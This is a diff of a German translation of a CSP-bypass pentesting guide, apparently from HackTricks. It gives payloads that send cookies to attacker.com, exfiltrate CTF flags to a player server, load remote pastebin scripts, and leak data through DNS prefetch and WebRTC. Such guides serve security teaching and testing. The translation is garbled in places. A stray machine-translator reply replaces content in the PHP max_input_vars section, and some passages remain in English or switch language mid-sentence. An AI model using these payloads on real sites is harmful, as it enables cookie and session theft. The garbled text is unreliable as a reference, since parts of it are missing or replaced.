+Dieses Snippet zeigt die Verwendung der `ng-focus`-Direktive zum Auslösen des Events, nutzt `$event.path|orderBy`, um das `path`-Array zu manipulieren, und verwendet das `window`-Objekt, um die Funktion `alert()` auszuführen und damit `document.cookie` offenzulegen.

-**Weitere Angular bypasses finden Sie in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+**Finde weitere Angular bypasses unter** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

-### AngularJS und whitelisted domain
+### AngularJS und zugelassene Domain
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-Eine CSP-Policy, die Domains für das Laden von Scripts in einer Angular JS-Anwendung auf eine Whitelist setzt, kann durch das Aufrufen von callback functions und bestimmten vulnerable classes umgangen werden. Weitere Informationen zu dieser Technik finden sich in einem ausführlichen Guide in diesem [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+Eine CSP-Policy, die Domains für das Laden von Skripten in einer Angular JS-Anwendung whitelists, kann durch den Aufruf von callback functions und bestimmten vulnerable classes umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem detaillierten Guide in diesem [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).

 Funktionierende payloads:
 ```html
@ -397,15 +397,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 <!-- no longer working -->
 <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
 ```
-Weitere JSONP arbitrary execution endpoints sind in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) zu finden (einige von ihnen wurden gelöscht oder behoben)
+Weitere JSONP arbitrary execution endpoints finden sich in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (einige davon wurden gelöscht oder behoben)

-### Umgehung durch Weiterleitung
+### Bypass via Redirection

-Was passiert, wenn CSP auf eine serverseitige Weiterleitung trifft? Wenn die Weiterleitung zu einer anderen Origin führt, die nicht erlaubt ist, schlägt sie trotzdem fehl.
+Was passiert, wenn CSP auf eine serverseitige Umleitung trifft? Führt die Umleitung zu einer anderen Origin, die nicht erlaubt ist, schlägt sie trotzdem fehl.

-Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann eine Weiterleitung, die zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.
+Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann eine Umleitung, die zu einem anderen Pfad führt, jedoch die ursprünglichen Einschränkungen umgehen.

-Hier ist ein Beispiel:
+Hier ein Beispiel:
 ```html
 <!DOCTYPE html>
 <html>
@ -423,25 +423,25 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 </body>
 </html>
 ```
-Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden, da der Pfad berücksichtigt wird, sowohl die Skripte `/test` als auch `/a/test` von CSP blockiert.
+If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.

-Das finale `http://localhost:5555/301` wird jedoch **auf der Serverseite zu `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Weiterleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
+Allerdings wird die finale `http://localhost:5555/301` **serverseitig auf `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Weiterleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript geladen werden kann**, wodurch die Pfadbeschränkung umgangen wird.

-Durch diese Weiterleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, dieser weiterhin umgangen.
+Mit dieser Umleitung wird selbst wenn der Pfad vollständig angegeben ist, dieser trotzdem umgangen.

-Daher ist die beste Lösung sicherzustellen, dass die Website keine open redirect vulnerabilities aufweist und dass in den CSP-Regeln keine Domains enthalten sind, die ausgenutzt werden können.
+Daher ist die beste Lösung, sicherzustellen, dass die Website keine open redirect vulnerabilities hat und dass in den CSP-Regeln keine Domains stehen, die ausgenutzt werden können.

 ### Bypass CSP with dangling markup

-Read [how here](../dangling-markup-html-scriptless-injection/index.html).
+Mehr dazu: [hier](../dangling-markup-html-scriptless-injection/index.html).

 ### 'unsafe-inline'; img-src \*; via XSS
 ```
 default-src 'self' 'unsafe-inline'; img-src *;
 ```
-`'unsafe-inline'` bedeutet, dass du beliebige Skripte im Code ausführen kannst (XSS kann Code ausführen) und `img-src *` bedeutet, dass du auf der Webseite jedes Bild von beliebigen Ressourcen verwenden kannst.
+`'unsafe-inline'` bedeutet, dass du jedes Skript im Code ausführen kannst (XSS kann Code ausführen) und `img-src *` bedeutet, dass du auf der Webseite jedes Bild von jeder Ressource verwenden kannst.

-Du kannst diese CSP umgehen, indem du die Daten über Bilder exfiltrierst (in diesem Fall missbraucht das XSS ein CSRF, bei dem eine vom bot erreichbare Seite eine SQLi enthält, und das Flag über ein Bild extrahiert):
+Du kannst diese CSP umgehen, indem du die Daten über Bilder exfiltrierst (in diesem Fall missbraucht das XSS eine CSRF, wobei eine vom Bot erreichbare Seite eine SQLi enthält und das flag über ein Bild extrahiert wird):
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -450,11 +450,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

-Du könntest diese Konfiguration auch missbrauchen, um **in ein Bild eingebetteten javascript code zu laden**. Wenn die Seite zum Beispiel das Laden von Bildern von Twitter erlaubt, könntest du ein **spezielles Bild** **erstellen**, es zu Twitter **hochladen** und das "**unsafe-inline**" missbrauchen, um einen JS-Code (wie bei einem normalen XSS) zu **ausführen**, der das **Bild** **lädt**, das **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Sie können diese Konfiguration auch missbrauchen, um **javascript code, der in ein Bild eingefügt wurde, zu laden**. Wenn die Seite zum Beispiel das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild** **erstellen**, es auf Twitter **hochladen** und '**unsafe-inline**' missbrauchen, um einen JS-Code (wie bei einem normalen XSS) **auszuführen**, der das **Bild** **lädt**, das **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

 ### Mit Service Workers

-Die **`importScripts`**-Funktion von Service workers ist nicht durch CSP eingeschränkt:
+Die `importScripts`-Funktion von Service Workers ist nicht durch CSP eingeschränkt:

 {{#ref}}
 ../xss-cross-site-scripting/abusing-service-workers.md
@ -462,29 +462,29 @@ Die **`importScripts`**-Funktion von Service workers ist nicht durch CSP eingesc

 ### Policy Injection

-**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
+**Recherche:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

 #### Chrome

-Wenn ein von dir gesendeter **Parameter** in die **Deklaration** der **Policy** eingefügt wird, könntest du die **Policy** so **ändern**, dass sie **nutzlos** wird. Du könntest **allow script 'unsafe-inline'** mit einem dieser Bypässe erlauben:
+Wenn ein von Ihnen gesendeter **Parameter** in die **Deklaration** der **Policy** **eingefügt** wird, könnten Sie die **Policy** so **verändern**, dass sie **nutzlos** wird. Sie könnten **Skripte mit 'unsafe-inline' zulassen** mit einem dieser Bypasses:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ```
-Weil diese Direktive bestehende script-src directives **überschreibt**.\
+Da diese Direktive **vorhandene script-src-Direktiven überschreibt**.\
 Ein Beispiel findest du hier: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

 #### Edge

-In Edge ist es viel einfacher. Wenn du in die CSP nur dies hinzufügen kannst: **`;_`** würde **Edge** die gesamte **policy** verwerfen.\
+Bei Edge ist es viel einfacher. Wenn du in die CSP nur dies einfügst: **`;_`** würde **Edge** die gesamte **Richtlinie** **verwerfen**.\
 Beispiel: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)

-### img-src \*; via XSS (iframe) - Time attack
+### img-src \*; via XSS (iframe) - Timing-Angriff

 Beachte das Fehlen der Direktive `'unsafe-inline'`\
-Diesmal kannst du das Opfer dazu bringen, über **XSS** mit einem `<iframe` eine von dir kontrollierte Seite zu **laden**. Diesmal bringst du das Opfer dazu, die Seite aufzurufen, von der du Informationen extrahieren möchtest (**CSRF**). Du kannst nicht auf den Inhalt der Seite zugreifen, aber wenn du irgendwie **die Ladezeit der Seite kontrollieren** kannst, kannst du die benötigten Informationen extrahieren.
+Diesmal kannst du das Opfer dazu bringen, eine Seite unter **deiner Kontrolle** per **XSS** mit einem `<iframe` **zu laden**. Diesmal lässt du das Opfer die Seite aufrufen, von der du Informationen extrahieren möchtest (**CSRF**). Du kannst nicht auf den Inhalt der Seite zugreifen, aber wenn du irgendwie die **Ladezeit der Seite kontrollieren** kannst, kannst du die benötigten Informationen extrahieren.

-Dieses Mal wird ein **flag** extrahiert: jedes Mal, wenn ein **char korrekt geraten** wird via SQLi, braucht die **response** aufgrund der sleep function **mehr Zeit**. Dann wirst du in der Lage sein, das flag zu extrahieren:
+Diesmal wird ein **flag** extrahiert: immer wenn ein **Zeichen korrekt geraten** wird (via SQLi), benötigt die **Antwort** aufgrund der sleep-Funktion **mehr Zeit**. Dann kannst du das **flag** extrahieren:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -546,22 +546,22 @@ run()
 ```
 ### Über Bookmarklets

-Dieser Angriff setzt Social Engineering voraus, bei dem der Angreifer den Benutzer **dazu bringt, einen Link über das Bookmarklet des Browsers zu drag\&dropped**. Dieses Bookmarklet würde **malicious javascript** Code enthalten, der beim drag\&dropped oder Anklicken im Kontext des aktuellen Webfensters ausgeführt wird, dabei **bypassing CSP und das Entwenden sensibler Informationen ermöglicht**, wie z. B. Cookies oder Tokens.
+Dieser Angriff setzt Social Engineering voraus, wobei der Angreifer den Nutzer **überredet, einen Link auf das Bookmarklet des Browsers zu ziehen und dort abzulegen**. Dieses Bookmarklet würde **bösartigen javascript-Code** enthalten, der beim Drag\&Drop oder Klick im Kontext des aktuellen Browserfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie cookies oder tokens zu stehlen.

 For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

-### CSP-Bypass durch Einschränkung der CSP
+### CSP bypass durch Einschränkung von CSP

-In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verhindert, welche dann via **prototype pollution** oder **dom clobbering** ausgenutzt wurde, um **ein anderes Script zu missbrauchen, um ein beliebiges Script zu laden**.
+In [**diesem CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem innerhalb eines erlaubten iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann via **prototype pollution** oder **dom clobbering** **ausgenutzt wurde, um ein anderes Script dazu zu bringen, ein beliebiges Script zu laden**.

-Sie können mit dem **`csp`**-Attribut **die CSP eines Iframe einschränken**:
+Du kannst **die CSP eines iframe einschränken** mit dem **`csp`**-Attribut:
 ```html
 <iframe
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), war es möglich, via **HTML injection** die **CSP** stärker zu **einschränken**, sodass ein Script, das CSTI verhindert, deaktiviert wurde und dadurch die **vulnerability became exploitable.**\
-CSP kann mithilfe von **HTML meta tags** restriktiver gemacht werden und inline scripts können deaktiviert werden, indem man den **Eintrag** entfernt, der deren **nonce** erlaubt, und spezifische inline scripts per **sha** erlaubt:
+In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), war es möglich, mittels **HTML injection** eine **CSP** stärker **einschränken**, sodass ein Script, das CSTI verhindert, deaktiviert wurde und dadurch **die vulnerability ausnutzbar wurde.**\
+CSP kann restriktiver gemacht werden durch **HTML meta tags** und inline scripts können deaktiviert werden, indem man den **Eintrag** **entfernt**, der ihre **nonce** erlaubt, und **bestimmte inline scripts via sha** aktiviert:
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@ -572,7 +572,7 @@ content="script-src 'self'
 ```
 ### JS exfiltration mit Content-Security-Policy-Report-Only

-Wenn es dir gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, dessen **Wert von dir kontrolliert wird** (z. B. wegen eines CRLF), könntest du ihn so konfigurieren, dass er auf deinen Server zeigt. Wenn du den **JS content**, den du exfiltrieren willst, in **`<script>`** einbettest und da `unsafe-inline` sehr wahrscheinlich durch die CSP nicht erlaubt ist, wird dadurch ein **CSP-Fehler ausgelöst** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an deinen Server gesendet.
+Wenn es dir gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, dessen **Wert von dir kontrolliert wird** (z. B. wegen eines CRLF), kannst du ihn so auf deinen Server zeigen lassen. Wenn du dann den **JS content**, den du exfiltrate möchtest, mit **`<script>`** umschließt — und da `unsafe-inline` sehr wahrscheinlich vom CSP nicht erlaubt ist — wird das einen CSP-Fehler auslösen und ein Teil des Skripts (der sensible Informationen enthält) vom `Content-Security-Policy-Report-Only` an den Server gesendet.

 Als Beispiel [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

@ -581,46 +581,46 @@ Als Beispiel [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Ch
 document.querySelector("DIV").innerHTML =
 '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
 ```
-### Leaking von Informationen mit CSP und Iframe
+### Leaking Information with CSP and Iframe

 - Ein `iframe` wird erstellt, das auf eine URL zeigt (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist.
- Diese URL leitet dann auf eine geheime URL weiter (z. B. `https://usersecret.example2.com`), die von CSP **nicht erlaubt** ist.
- Indem man auf das `securitypolicyviolation`-Event hört, kann man die `blockedURI`-Property abfangen. Diese Property offenbart die Domain der blockierten URI, leaking die geheime Domain, auf die die ursprüngliche URL weitergeleitet hat.
+- Diese URL leitet dann zu einer geheimen URL weiter (z. B. `https://usersecret.example2.com`), die von CSP **nicht erlaubt** ist.
+- Durch Zuhören des `securitypolicyviolation`-Events kann man die `blockedURI`-Property erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leaking die geheime Domain, zu der die initiale URL weitergeleitet wurde.

-Es ist interessant zu bemerken, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit iframes in Bezug auf CSP zeigen, was aufgrund von undefiniertem Verhalten zu potenziellem leak sensibler Informationen führen kann.
+Es ist interessant zu bemerken, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit iframes in Bezug auf CSP zeigen, was aufgrund von undefiniertem Verhalten zu möglicher leakage sensibler Informationen führen kann.

-Eine andere Technik besteht darin, die CSP selbst auszunutzen, um das geheime Subdomain zu ermitteln. Diese Methode beruht auf einer binären Suche und darauf, die CSP so anzupassen, dass bestimmte Domains gezielt blockiert werden. Zum Beispiel, wenn das geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zu erlauben. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu ermöglichen:
+Eine weitere Technik nutzt die CSP selbst, um die geheime Subdomain zu ermitteln. Diese Methode basiert auf einem binären Suchalgorithmus und dem Anpassen der CSP, um bestimmte Domains absichtlich zu blockieren. Zum Beispiel, wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zu erlauben. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet sein könnte, um diese Methode zu erleichtern:
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
-Indem man überwacht, welche Anfragen von der CSP geblockt oder erlaubt werden, kann man die möglichen Zeichen der geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.
+Indem man überwacht, welche Requests von der CSP blockiert oder zugelassen werden, kann man die möglichen Zeichen der geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.

-Beide Methoden nutzen die Nuancen der CSP-Implementierung und des Verhaltens in Browsern aus und zeigen, wie scheinbar sichere Richtlinien versehentlich sensitive Informationen leak.
+Beide Methoden nutzen Nuancen der CSP-Implementierung und des Verhaltens von Browsern aus und zeigen, wie scheinbar sichere Policies unbeabsichtigt sensitive information leak.

-Trick von [**here**](https://ctftime.org/writeup/29310).
+Trick from [**here**](https://ctftime.org/writeup/29310).

-## Unsafe Technologies to Bypass CSP
+## Unsichere Techniken zum Umgehen von CSP

 ### PHP Errors when too many params

-Laut der [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) führt das Senden von zu vielen Parametern (1001 GET-Parameter, obwohl man das auch mit POST-Parametern und mehr als 20 Dateien machen kann) zu einem Fehler. Jede definierte **`header()`** im PHP-Webcode **wird nicht gesendet**, aufgrund des dadurch ausgelösten Fehlers.
+According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger.

 ### PHP response buffer overload

-PHP ist dafür bekannt, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher wird, wenn PHP eine Warnung ausgibt, durch das Bereitstellen von **genügend Daten in Warnungen** die **Antwort** **gesendet** **bevor** der **CSP-Header**, wodurch der Header ignoriert wird.\
-Die Technik besteht im Wesentlichen darin, **den Antwortpuffer mit Warnungen zu füllen**, sodass der CSP-Header nicht gesendet wird.
+PHP ist dafür bekannt, standardmäßig die Antwort bis 4096 bytes zu puffern. Daher: wenn PHP eine Warnung ausgibt, kann man durch Bereitstellen von genug Daten in den Warnungen erreichen, dass die Antwort vor dem CSP-Header gesendet wird, wodurch der Header ignoriert wird.\  
+Die Technik besteht im Wesentlichen darin, den Response-Buffer mit Warnungen zu füllen, sodass der CSP-Header nicht gesendet wird.

 Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).

 ### Kill CSP via max_input_vars (headers already sent)

-Weil Header vor jeglicher Ausgabe gesendet werden müssen, können durch PHP ausgelöste Warnungen spätere `header()`-Aufrufe ungültig machen. Wenn Benutzereingaben `max_input_vars` überschreiten, wirft PHP zuerst eine Startup-Warnung; jeder nachfolgende `header('Content-Security-Policy: ...')` schlägt mit “headers already sent” fehl, wodurch CSP effektiv deaktiviert wird und sonst geblocktes reflective XSS erlaubt wird.
+Da Header vor jeglicher Ausgabe gesendet werden müssen, können von PHP ausgegebene Warnungen spätere `header()`-Aufrufe ungültig machen. Wenn Nutzereingaben `max_input_vars` überschreiten, wirft PHP zuerst eine Startup-Warnung; jeder nachfolgende `header('Content-Security-Policy: ...')` schlägt mit “headers already sent” fehl, wodurch CSP effektiv deaktiviert wird und sonst blockierte reflective XSS ermöglicht wird.
 ```php
 <?php
 header("Content-Security-Policy: default-src 'none';");
 echo $_GET['xss'];
 ```
-Bitte den Inhalt der Datei (README.md) hier einfügen, den ich ins Deutsche übersetzen soll. Ich liefere die Übersetzung unter Beibehaltung aller Markdown-/HTML-Tags, Links, Pfade und Codeabschnitte.
+Bitte den Inhalt der Datei (README.md) hier einfügen — ich übersetze ihn gemäß den Vorgaben.
 ```bash
 # CSP in place → payload blocked by browser
 curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
@ -632,7 +632,7 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
 ```
 ### Fehlerseite umschreiben

-Aus [**this writeup**](https://blog.ssrf.kr/69) geht hervor, dass es möglich gewesen sein könnte, einen CSP-Schutz zu bypassen, indem man eine Fehlerseite lädt (möglicherweise ohne CSP) und deren Inhalt umschreibt.
+Aus [**this writeup**](https://blog.ssrf.kr/69) scheint es möglich gewesen zu sein, einen CSP-Schutz zu umgehen, indem man eine Fehlerseite (möglicherweise ohne CSP) lädt und deren Inhalt umschreibt.
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@ -641,38 +641,39 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 ```
 ### SOME + 'self' + wordpress

-SOME ist eine Technik, die eine XSS (oder stark eingeschränkte XSS) **in an endpoint of a page** ausnutzt, um **other endpoints of the same origin** zu missbrauchen. Das funktioniert, indem das vulnerable endpoint von einer attacker page geladen und anschließend die attacker page auf das reale endpoint derselben origin, das du ausnutzen willst, neu geladen wird. Auf diese Weise kann das **vulnerable endpoint** das **`opener`**-Objekt im **payload** verwenden, um das **DOM** des **real endpoint to abuse** zu erreichen. Weitere Informationen:
+SOME ist eine Technik, die eine XSS (oder stark eingeschränkte XSS) **in einem endpoint einer Seite** ausnutzt, um **andere endpoints derselben same origin** zu missbrauchen. Dies geschieht, indem der verwundbare endpoint von einer attacker page geladen und anschließend die attacker page zur echten Origin/endpoint, die man ausnutzen möchte, neu geladen wird. Auf diese Weise kann der verwundbare endpoint das **`opener`**-Objekt im **payload** nutzen, um auf das **DOM** des echten auszunutzenden endpoints zuzugreifen. Für weitere Informationen siehe:

 {{#ref}}
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
 {{#endref}}

-Außerdem hat **wordpress** einen **JSONP**-endpoint unter `/wp-json/wp/v2/users/1?_jsonp=data`, der die gesendeten **data** in der Ausgabe reflektiert (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).
+Außerdem hat **wordpress** einen **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data`, der die gesendeten **data** im Output **reflect** (mit der Einschränkung auf Buchstaben, Zahlen und Punkte).

-An attacker kann dieses endpoint ausnutzen, um einen **SOME attack** gegen WordPress zu **generate** und ihn innerhalb von `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` zu **embed**. Beachte, dass dieses **script** **loaded** wird, weil es von **'self'** **allowed** ist. Außerdem, da WordPress installiert ist, könnte ein attacker die **SOME attack** über das **vulnerable callback endpoint** ausnutzen, das die **CSP** **bypasst**, um einem Benutzer mehr Rechte zu geben, ein neues Plugin zu installieren...\
-Für weitere Informationen, wie dieser Angriff durchgeführt wird, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
+Ein attacker kann diesen endpoint missbrauchen, um einen **SOME attack** gegen **WordPress** zu generieren und ihn innerhalb von `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten — beachte, dass dieses **script** geladen wird, weil es von **'self'** erlaubt ist. Außerdem, und da WordPress installiert ist, könnte ein attacker den **SOME attack** über den verwundbaren **callback** endpoint missbrauchen, der die **CSP** **bypasses**, um einem user mehr Rechte zu geben, ein neues plugin zu installieren...
+
+For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

 ## CSP Exfiltration Bypasses

-Wenn eine strikte CSP vorhanden ist, die es dir nicht erlaubt, mit **external servers** zu **interact**, gibt es einige Dinge, die du trotzdem tun kannst, um die Informationen zu exfiltrate.
+Wenn eine strikte CSP vorhanden ist, die es nicht erlaubt, mit externen Servern zu interagieren, gibt es dennoch einige Dinge, mit denen du die Informationen exfiltrieren kannst.

 ### Location

-Du könntest einfach die location aktualisieren, um die secret information an den attacker's server zu senden:
+Du könntest einfach die location aktualisieren, um die geheimen Informationen an den attacker's server zu senden:
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 document.location = "https://attacker.com/?" + sessionid
 ```
 ### Meta tag

-Du könntest durch das Injizieren eines meta tag umleiten (das ist nur ein redirect, das wird keinen Inhalt leak)
+Du könntest durch Einfügen eines meta tag umleiten (das ist nur eine Weiterleitung, das wird keinen leak von Inhalten verursachen)
 ```html
 <meta http-equiv="refresh" content="1; http://attacker.com" />
 ```
 ### DNS Prefetch

-Um Seiten schneller zu laden, lösen Browser Hostnamen vorab in IP-Adressen auf und zwischenspeichern sie für die spätere Verwendung.\
-Du kannst einem Browser mitteilen, einen Hostnamen vorab aufzulösen mit: `<link rel="dns-prefetch" href="something.com">`
+Um Seiten schneller zu laden, lösen Browser Hostnamen vorab in IP-Adressen auf und cachen sie zur späteren Verwendung.\
+Du kannst den Browser anweisen, einen Hostnamen vorab aufzulösen mit: `<link rel="dns-prefetch" href="something.com">`

 Du könntest dieses Verhalten missbrauchen, um **exfiltrate sensitive information via DNS requests**:
 ```javascript
@ -691,18 +692,18 @@ linkEl.rel = "prefetch"
 linkEl.href = urlWithYourPreciousData
 document.head.appendChild(linkEl)
 ```
-Um zu verhindern, dass dies passiert, kann der Server den HTTP-Header senden:
+Um dies zu verhindern, kann der Server den HTTP-Header senden:
 ```
 X-DNS-Prefetch-Control: off
 ```
 > [!TIP]
-> Offenbar funktioniert diese Technik nicht in headless browsers (bots)
+> Anscheinend funktioniert diese Technik nicht in headless browsers (bots)

 ### WebRTC

-Auf mehreren Seiten liest man, dass **WebRTC die `connect-src`-Richtlinie der CSP nicht überprüft**.
+Auf mehreren Seiten liest man, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht prüft.

-Tatsächlich kannst du Informationen _leak_ mittels einer _DNS request_. Schau dir diesen Code an:
+Tatsächlich kannst du Informationen mithilfe einer _DNS request_ _leak_. Schau dir diesen Code an:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -710,7 +711,7 @@ p.createDataChannel("")
 p.setLocalDescription(await p.createOffer())
 })()
 ```
-Eine weitere Option:
+Eine andere Option:
 ```javascript
 var pc = new RTCPeerConnection({
 "iceServers":[
@ -724,7 +725,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 ```
 ### CredentialsContainer

-Das Credential-Popup sendet eine DNS-Anfrage an die iconURL, ohne von der Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost.
+Das credential popup sendet eine DNS-Anfrage an die iconURL, ohne von der Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost.
 ```javascript
 navigator.credentials.store(
 new FederatedCredential({
@ -735,9 +736,9 @@ iconURL:"https:"+your_data+"example.com"
 })
 )
 ```
-## CSP-Richtlinien online überprüfen
+## CSP-Richtlinien online prüfen

- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
+- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
 - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

 ## CSP automatisch erstellen
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@ -4,10 +4,10 @@

 ## File Inclusion

-**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (Besser: Du kannst den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\
